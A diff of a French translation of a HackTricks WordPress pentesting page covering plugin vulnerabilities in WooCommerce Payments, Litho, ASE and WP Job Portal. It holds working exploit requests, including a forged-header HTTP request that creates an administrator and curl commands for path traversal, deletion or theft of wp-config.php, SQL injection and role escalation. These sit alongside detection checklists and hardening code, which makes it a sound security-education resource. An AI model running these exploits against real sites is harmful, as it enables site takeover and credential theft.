|
||||
$this->namespace, '/get/', array(
|
||||
@ -363,23 +363,68 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
Le `permission_callback` est un rappel à une fonction qui vérifie si un utilisateur donné est autorisé à appeler la méthode API.
|
||||
The `permission_callback` est une fonction de rappel qui vérifie si un utilisateur donné est autorisé à appeler la méthode API.
|
||||
|
||||
**Si la fonction intégrée `__return_true` est utilisée, elle ignorera simplement la vérification des permissions de l'utilisateur.**
|
||||
**Si la fonction intégrée `__return_true` est utilisée, elle contournera simplement la vérification des permissions utilisateur.**
|
||||
|
||||
- **Accès direct au fichier php**
|
||||
|
||||
Bien sûr, Wordpress utilise PHP et les fichiers à l'intérieur des plugins sont directement accessibles depuis le web. Donc, dans le cas où un plugin expose une fonctionnalité vulnérable qui est déclenchée simplement en accédant au fichier, elle sera exploitable par n'importe quel utilisateur.
|
||||
Bien sûr, Wordpress utilise PHP et les fichiers à l'intérieur des plugins sont directement accessibles depuis le web. Donc, si un plugin expose une fonctionnalité vulnérable qui est déclenchée simplement en accédant au fichier, elle sera exploitable par n'importe quel utilisateur.
|
||||
|
||||
### Suppression de fichiers arbitraires non authentifiée via wp_ajax_nopriv (Thème Litho <= 3.0)
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
Les thèmes et plugins WordPress exposent fréquemment des gestionnaires AJAX via les hooks `wp_ajax_` et `wp_ajax_nopriv_`. Lorsque la variante **_nopriv_** est utilisée, **le rappel devient accessible par des visiteurs non authentifiés**, donc toute action sensible doit également mettre en œuvre :
|
||||
Certains plugins implémentent des raccourcis de “trusted header” pour des intégrations internes ou des reverse proxies, puis utilisent cet en-tête pour définir le contexte utilisateur courant pour les requêtes REST. Si l'en-tête n'est pas lié cryptographiquement à la requête par un composant en amont, un attaquant peut le falsifier et appeler des routes REST privilégiées en tant qu'administrateur.
|
||||
|
||||
1. Une **vérification de capacité** (par exemple `current_user_can()` ou au moins `is_user_logged_in()`), et
|
||||
2. Un **nonce CSRF** validé avec `check_ajax_referer()` / `wp_verify_nonce()`, et
|
||||
3. Une **sanitisation / validation stricte des entrées**.
|
||||
- Impact : escalation de privilèges non authentifiée vers administrateur en créant un nouvel administrateur via la route core users REST.
|
||||
- Exemple d'en-tête : `X-Wcpay-Platform-Checkout-User: 1` (force l'ID utilisateur 1, typiquement le premier compte administrateur).
|
||||
- Route exploitée : `POST /wp-json/wp/v2/users` avec un tableau de rôle élevé.
|
||||
|
||||
Le thème multipurpose Litho (< 3.1) a oublié ces 3 contrôles dans la fonctionnalité *Remove Font Family* et a fini par expédier le code suivant (simplifié) :
|
||||
PoC
|
||||
```http
|
||||
POST /wp-json/wp/v2/users HTTP/1.1
|
||||
Host: <WP HOST>
|
||||
User-Agent: Mozilla/5.0
|
||||
Accept: application/json
|
||||
Content-Type: application/json
|
||||
X-Wcpay-Platform-Checkout-User: 1
|
||||
Content-Length: 114
|
||||
|
||||
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
|
||||
```
|
||||
Pourquoi ça fonctionne
|
||||
|
||||
- Le plugin mappe un header contrôlé par le client à l'état d'authentification et esquive les vérifications de capability.
|
||||
- WordPress core attend la capability `create_users` pour cette route ; le contournement du plugin l'évite en définissant directement le contexte de l'utilisateur courant depuis le header.
|
||||
|
||||
Indicateurs de réussite attendus
|
||||
|
||||
- HTTP 201 avec un body JSON décrivant l'utilisateur créé.
|
||||
- Un nouvel utilisateur admin visible dans `wp-admin/users.php`.
|
||||
|
||||
Checklist de détection
|
||||
|
||||
- Grep pour `getallheaders()`, `$_SERVER['HTTP_...']`, ou des SDK tiers qui lisent des headers personnalisés pour définir le contexte utilisateur (par ex. `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Revoir les enregistrements REST pour des callbacks privilégiés qui n'ont pas de `permission_callback` robuste et qui s'appuient à la place sur les headers de la requête.
|
||||
- Chercher des usages des fonctions core de gestion d'utilisateurs (`wp_insert_user`, `wp_create_user`) à l'intérieur de handlers REST qui sont protégés uniquement par des valeurs de header.
|
||||
|
||||
Durcissement
|
||||
|
||||
- Ne jamais déduire l'authentification ou l'autorisation à partir de headers contrôlés par le client.
|
||||
- Si un reverse proxy doit injecter une identité, terminer la confiance au niveau du proxy et supprimer les copies entrantes (par ex. `unset X-Wcpay-Platform-Checkout-User` en bordure), puis transmettre un token signé et le vérifier côté serveur.
|
||||
- Pour les routes REST effectuant des actions privilégiées, exiger des vérifications `current_user_can()` et un `permission_callback` strict (ne PAS utiliser `__return_true`).
|
||||
- Préférer une auth first-party (cookies, application passwords, OAuth) plutôt que l’« impersonation » via headers.
|
||||
|
||||
Références : voir les liens à la fin de cette page pour un cas public et une analyse plus large.
|
||||
|
||||
### Suppression arbitraire de fichiers sans authentification via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
|
||||
|
||||
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
|
||||
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
|
||||
3. **Strict input sanitisation / validation**.
|
||||
|
||||
Le Litho multipurpose theme (< 3.1) a oublié ces 3 contrôles dans la fonctionnalité *Remove Font Family* et a fini par livrer le code suivant (simplifié) :
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -398,31 +443,31 @@ die();
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
Problèmes introduits par ce snippet :
|
||||
Issues introduced by this snippet:
|
||||
|
||||
* **Accès non authentifié** – le hook `wp_ajax_nopriv_` est enregistré.
|
||||
* **Pas de vérification de nonce / de capacité** – tout visiteur peut accéder à l'endpoint.
|
||||
* **Pas de sanitisation de chemin** – la chaîne `fontfamily` contrôlée par l'utilisateur est concaténée à un chemin de système de fichiers sans filtrage, permettant un parcours classique `../../`.
|
||||
* **Pas de vérification de nonce / capability** – n'importe quel visiteur peut atteindre l'endpoint.
|
||||
* **Pas de sanitisation du chemin** – la chaîne contrôlée par l'utilisateur `fontfamily` est concaténée à un chemin du système de fichiers sans filtrage, permettant le classique parcours `../../`.
|
||||
|
||||
#### Exploitation
|
||||
|
||||
Un attaquant peut supprimer n'importe quel fichier ou répertoire **en dessous du répertoire de base des uploads** (normalement `<wp-root>/wp-content/uploads/`) en envoyant une seule requête HTTP POST :
|
||||
Un attaquant peut supprimer n'importe quel fichier ou répertoire **sous le répertoire de base uploads** (normalement `<wp-root>/wp-content/uploads/`) en envoyant une seule HTTP POST request:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Parce que `wp-config.php` se trouve en dehors de *uploads*, quatre séquences `../` suffisent sur une installation par défaut. Supprimer `wp-config.php` force WordPress à entrer dans l'*assistant d'installation* lors de la prochaine visite, permettant une prise de contrôle complète du site (l'attaquant fournit simplement une nouvelle configuration de base de données et crée un utilisateur administrateur).
|
||||
Parce que `wp-config.php` se trouve en dehors du répertoire *uploads*, quatre séquences `../` suffisent sur une installation par défaut. La suppression de `wp-config.php` force WordPress à lancer le *assistant d'installation* lors de la visite suivante, permettant une prise de contrôle complète du site (l'attaquant fournit simplement une nouvelle configuration DB et crée un utilisateur admin).
|
||||
|
||||
D'autres cibles impactantes incluent les fichiers `.php` de plugins/thèmes (pour contourner les plugins de sécurité) ou les règles `.htaccess`.
|
||||
D'autres cibles ayant un fort impact incluent les fichiers `.php` de plugin/theme (pour neutraliser les plugins de sécurité) ou les règles `.htaccess`.
|
||||
|
||||
#### Liste de vérification de détection
|
||||
#### Checklist de détection
|
||||
|
||||
* Tout rappel `add_action( 'wp_ajax_nopriv_...')` qui appelle des helpers de système de fichiers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
|
||||
* Concaténation d'entrées utilisateur non assainies dans des chemins (recherchez `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Absence de `check_ajax_referer()` et `current_user_can()`/`is_user_logged_in()`.
|
||||
* Tout callback `add_action( 'wp_ajax_nopriv_...')` qui appelle des helpers système de fichiers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
|
||||
* Concatenation d'entrées utilisateur non assainies dans des chemins (chercher `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Absence de `check_ajax_referer()` et de `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Renforcement
|
||||
#### Durcissement
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
@ -442,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **Toujours** traiter toute opération d'écriture/suppression sur le disque comme privilégiée et vérifier deux fois :
|
||||
> • Authentification • Autorisation • Nonce • Assainissement des entrées • Contention de chemin (par exemple via `realpath()` plus `str_starts_with()`).
|
||||
> **Toujours** considérer toute opération d'écriture/suppression sur le disque comme privilégiée et vérifier à nouveau :
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### Escalade de privilèges via la restauration de rôle obsolète et l'autorisation manquante (ASE "Voir Admin en tant que Rôle")
|
||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||||
|
||||
De nombreux plugins implémentent une fonctionnalité "voir en tant que rôle" ou de changement temporaire de rôle en sauvegardant le(s) rôle(s) original(aux) dans les métadonnées utilisateur afin qu'ils puissent être restaurés plus tard. Si le chemin de restauration repose uniquement sur des paramètres de requête (par exemple, `$_REQUEST['reset-for']`) et une liste maintenue par le plugin sans vérifier les capacités et un nonce valide, cela devient une escalade de privilèges verticale.
|
||||
De nombreux plugins implémentent une fonctionnalité "view as role" ou un changement temporaire de rôle en sauvegardant le(s) rôle(s) original(aux) dans user meta afin de pouvoir les restaurer plus tard. Si le chemin de restauration ne s'appuie que sur des paramètres de requête (par ex., `$_REQUEST['reset-for']`) et une liste maintenue par le plugin sans vérifier les capabilities et un nonce valide, cela devient une vertical privilege escalation.
|
||||
|
||||
Un exemple du monde réel a été trouvé dans le plugin Admin et Améliorations de Site (ASE) (≤ 7.6.2.1). La branche de réinitialisation restaurait les rôles en fonction de `reset-for=<username>` si le nom d'utilisateur apparaissait dans un tableau interne `$options['viewing_admin_as_role_are']`, mais n'effectuait ni une vérification `current_user_can()` ni une vérification de nonce avant de supprimer les rôles actuels et de réajouter les rôles sauvegardés des métadonnées utilisateur `_asenha_view_admin_as_original_roles` :
|
||||
Un exemple réel a été trouvé dans le plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). La branche de reset restaurait les rôles basée sur `reset-for=<username>` si le nom d'utilisateur apparaissait dans un tableau interne `$options['viewing_admin_as_role_are']`, mais n'effectuait ni un contrôle `current_user_can()` ni une vérification du nonce avant de supprimer les rôles actuels et de ré-ajouter les rôles sauvegardés dans le user meta `_asenha_view_admin_as_original_roles` :
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -468,15 +513,15 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
```
|
||||
Pourquoi c'est exploitable
|
||||
|
||||
- Fait confiance à `$_REQUEST['reset-for']` et à une option de plugin sans autorisation côté serveur.
|
||||
- Si un utilisateur avait précédemment des privilèges plus élevés enregistrés dans `_asenha_view_admin_as_original_roles` et a été rétrogradé, il peut les restaurer en accédant au chemin de réinitialisation.
|
||||
- Dans certaines déploiements, tout utilisateur authentifié pourrait déclencher une réinitialisation pour un autre nom d'utilisateur toujours présent dans `viewing_admin_as_role_are` (autorisation rompue).
|
||||
- Fait confiance à `$_REQUEST['reset-for']` et à une option du plugin sans autorisation côté serveur.
|
||||
- Si un utilisateur avait auparavant des privilèges plus élevés sauvegardés dans `_asenha_view_admin_as_original_roles` et a été rétrogradé, il peut les restaurer en accédant au reset path.
|
||||
- Dans certaines configurations, tout utilisateur authentifié peut déclencher un reset pour un autre nom d'utilisateur encore présent dans `viewing_admin_as_role_are` (autorisation cassée).
|
||||
|
||||
Prérequis à l'attaque
|
||||
Prérequis de l'attaque
|
||||
|
||||
- Version de plugin vulnérable avec la fonctionnalité activée.
|
||||
- Le compte cible a un rôle à privilèges élevés obsolète stocké dans les métadonnées utilisateur d'une utilisation antérieure.
|
||||
- Toute session authentifiée ; nonce/capacité manquante sur le flux de réinitialisation.
|
||||
- Version vulnérable du plugin avec la fonctionnalité activée.
|
||||
- Le compte cible a un rôle à privilèges élevés obsolète stocké dans user meta depuis une utilisation antérieure.
|
||||
- N'importe quelle session authentifiée ; absence de nonce/capability dans le reset flow.
|
||||
|
||||
Exploitation (exemple)
|
||||
```bash
|
||||
@ -486,42 +531,57 @@ Exploitation (exemple)
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
Sur les versions vulnérables, cela supprime les rôles actuels et réajoute les rôles originaux sauvegardés (par exemple, `administrator`), ce qui permet d'escalader les privilèges.
|
||||
Sur les versions vulnérables, cela supprime les rôles actuels et réajoute les rôles originaux sauvegardés (par ex., `administrator`), escaladant ainsi les privilèges.
|
||||
|
||||
Liste de vérification de détection
|
||||
Detection checklist
|
||||
|
||||
- Recherchez des fonctionnalités de changement de rôle qui persistent les “rôles originaux” dans les métadonnées utilisateur (par exemple, `_asenha_view_admin_as_original_roles`).
|
||||
- Identifiez les chemins de réinitialisation/restauration qui :
|
||||
- Lisent les noms d'utilisateur à partir de `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modifient les rôles via `add_role()` / `remove_role()` sans `current_user_can()` et `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autorisent en fonction d'un tableau d'options de plugin (par exemple, `viewing_admin_as_role_are`) au lieu des capacités de l'acteur.
|
||||
- Recherchez des fonctionnalités de changement de rôle qui conservent “original roles” dans les user meta (e.g., `_asenha_view_admin_as_original_roles`).
|
||||
- Identifiez les chemins de reset/restore qui :
|
||||
- Lisent les noms d'utilisateur depuis `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modifient les rôles via `add_role()` / `remove_role()` sans `current_user_can()` et `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autorisent en se basant sur un tableau d'options du plugin (e.g., `viewing_admin_as_role_are`) au lieu des capacités de l'acteur.
|
||||
|
||||
Renforcement
|
||||
Durcissement
|
||||
|
||||
- Appliquez des vérifications de capacité sur chaque branche modifiant l'état (par exemple, `current_user_can('manage_options')` ou plus strict).
|
||||
- Appliquez des vérifications de capacités sur chaque branche modifiant l'état (e.g., `current_user_can('manage_options')` ou plus strict).
|
||||
- Exigez des nonces pour toutes les mutations de rôle/permission et vérifiez-les : `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Ne faites jamais confiance aux noms d'utilisateur fournis par la requête ; résolvez l'utilisateur cible côté serveur en fonction de l'acteur authentifié et d'une politique explicite.
|
||||
- Invalidez l'état des “rôles originaux” lors des mises à jour de profil/rôle pour éviter la restauration de privilèges élevés obsolètes :
|
||||
- Ne faites jamais confiance aux noms d'utilisateur fournis dans la requête ; résolvez l'utilisateur cible côté serveur en fonction de l'acteur authentifié et d'une politique explicite.
|
||||
- Invalidez l'état des “original roles” lors des mises à jour de profil/role pour éviter la restauration de privilèges élevés obsolètes :
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- Envisagez de stocker un état minimal et d'utiliser des jetons temporaires, protégés par des capacités, pour des changements de rôle temporaires.
|
||||
- Envisagez de stocker un état minimal et d'utiliser des tokens limités dans le temps et protégés par des capabilities pour des changements de rôle temporaires.
|
||||
|
||||
---
|
||||
|
||||
## Protection de WordPress
|
||||
### Considérations WAF pour WordPress/plugin CVEs
|
||||
|
||||
Les WAFs génériques edge/serveur sont réglés pour des motifs larges (SQLi, XSS, LFI). Beaucoup de failles WordPress/plugin à fort impact sont des bugs de logique applicative/auth qui ressemblent à du trafic bénin à moins que le moteur ne comprenne les routes WordPress et la sémantique des plugins.
|
||||
|
||||
Notes offensives
|
||||
|
||||
- Ciblez les endpoints spécifiques aux plugins avec des payloads propres : `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Testez d'abord les chemins unauth (AJAX `nopriv`, REST avec `permission_callback` permissif, shortcodes publics). Les payloads par défaut réussissent souvent sans obfuscation.
|
||||
- Cas typiques à fort impact : escalade de privilèges (broken access control), upload/download de fichiers arbitraires, LFI, open redirect.
|
||||
|
||||
Notes défensives
|
||||
|
||||
- Ne comptez pas sur des signatures WAF génériques pour protéger les plugin CVEs. Implémentez des virtual patches spécifiques aux vulnérabilités au niveau applicatif ou mettez à jour rapidement.
|
||||
- Privilégiez des contrôles de sécurité en mode positif dans le code (capabilities, nonces, strict input validation) plutôt que des filtres regex négatifs.
|
||||
|
||||
## Protection WordPress
|
||||
|
||||
### Mises à jour régulières
|
||||
|
||||
Assurez-vous que WordPress, les plugins et les thèmes sont à jour. Confirmez également que la mise à jour automatique est activée dans wp-config.php :
|
||||
Assurez-vous que WordPress, les plugins et les thèmes sont à jour. Vérifiez aussi que la mise à jour automatique est activée dans wp-config.php:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Aussi, **n'installez que des plugins et thèmes WordPress fiables**.
|
||||
Aussi, **n'installez que des plugins et thèmes WordPress de confiance**.
|
||||
|
||||
### Plugins de sécurité
|
||||
|
||||
@ -531,16 +591,16 @@ Aussi, **n'installez que des plugins et thèmes WordPress fiables**.
|
||||
|
||||
### **Autres recommandations**
|
||||
|
||||
- Supprimez l'utilisateur **admin** par défaut
|
||||
- Utilisez des **mots de passe forts** et **2FA**
|
||||
- **Révisez** périodiquement les **permissions** des utilisateurs
|
||||
- **Limitez les tentatives de connexion** pour prévenir les attaques par force brute
|
||||
- Supprimez l'utilisateur par défaut **admin**
|
||||
- Utilisez des **mots de passe forts** et la **2FA**
|
||||
- Vérifiez périodiquement les **autorisations** des utilisateurs
|
||||
- **Limitez les tentatives de connexion** pour prévenir les attaques par Brute Force
|
||||
- Renommez le fichier **`wp-admin.php`** et n'autorisez l'accès qu'en interne ou depuis certaines adresses IP.
|
||||
|
||||
|
||||
### Injection SQL non authentifiée via validation insuffisante (WP Job Portal <= 2.3.2)
|
||||
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
|
||||
|
||||
Le plugin de recrutement WP Job Portal a exposé une tâche **savecategory** qui exécute finalement le code vulnérable suivant à l'intérieur de `modules/category/model.php::validateFormData()`:
|
||||
Le plugin de recrutement WP Job Portal exposait une tâche **savecategory** qui exécute finalement le code vulnérable suivant dans `modules/category/model.php::validateFormData()` :
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -550,19 +610,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
Problèmes introduits par ce snippet :
|
||||
Problèmes introduits par cet extrait :
|
||||
|
||||
1. **Entrée utilisateur non assainie** – `parentid` provient directement de la requête HTTP.
|
||||
2. **Concaténation de chaînes à l'intérieur de la clause WHERE** – pas de `is_numeric()` / `esc_sql()` / déclaration préparée.
|
||||
3. **Accessibilité non authentifiée** – bien que l'action soit exécutée via `admin-post.php`, la seule vérification en place est un **nonce CSRF** (`wp_verify_nonce()`), que tout visiteur peut récupérer depuis une page publique intégrant le shortcode `[wpjobportal_my_resumes]`.
|
||||
2. **Concaténation de chaînes dans la clause WHERE** – pas de `is_numeric()` / `esc_sql()` / requête préparée.
|
||||
3. **Accès non authentifié** – bien que l'action soit exécutée via `admin-post.php`, la seule vérification en place est un **CSRF nonce** (`wp_verify_nonce()`), que n'importe quel visiteur peut récupérer depuis une page publique intégrant le shortcode `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### Exploitation
|
||||
|
||||
1. Récupérer un nonce frais :
|
||||
1. Récupérer un nonce récent :
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. Injecter un SQL arbitraire en abusant de `parentid` :
|
||||
2. Injecter du SQL arbitraire en abusant de `parentid` :
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
@ -570,18 +630,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
La réponse divulgue le résultat de la requête injectée ou modifie la base de données, prouvant SQLi.
|
||||
La réponse divulgue le résultat de la requête injectée ou modifie la base de données, prouvant une SQLi.
|
||||
|
||||
|
||||
### Téléchargement de fichiers arbitraires non authentifié / Traversée de chemin (WP Job Portal <= 2.3.2)
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
Une autre tâche, **downloadcustomfile**, permettait aux visiteurs de télécharger **n'importe quel fichier sur le disque** via une traversée de chemin. Le point vulnérable se trouve dans `modules/customfield/model.php::downloadCustomUploadedFile()` :
|
||||
Une autre tâche, **downloadcustomfile**, permettait aux visiteurs de télécharger **n'importe quel fichier sur le disque** via path traversal. Le sink vulnérable se trouve dans `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` est contrôlé par l'attaquant et concaténé **sans assainissement**. Encore une fois, le seul verrou est un **nonce CSRF** qui peut être récupéré depuis la page de résumé.
|
||||
`$file_name` est contrôlé par l'attaquant et concaténé **sans sanitisation**. Encore une fois, la seule barrière est un **CSRF nonce** qui peut être récupéré depuis la page de CV.
|
||||
|
||||
#### Exploitation
|
||||
```bash
|
||||
@ -592,13 +652,16 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
Le serveur répond avec le contenu de `wp-config.php`, révélant les identifiants de la base de données et les clés d'authentification.
|
||||
Le serveur renvoie le contenu de `wp-config.php`, leaking DB credentials and auth keys.
|
||||
|
||||
## Références
|
||||
|
||||
- [Vulnérabilité de suppression de fichier arbitraire non authentifiée dans le thème Litho](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Plusieurs vulnérabilités critiques corrigées dans le plugin WP Job Portal](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
- [Cas rare d'escalade de privilèges dans le plugin ASE affectant plus de 100k sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||
- [Changement de version ASE 7.6.3 – supprimer les rôles originaux lors de la mise à jour du profil](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||
- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||||
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
|
||||
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user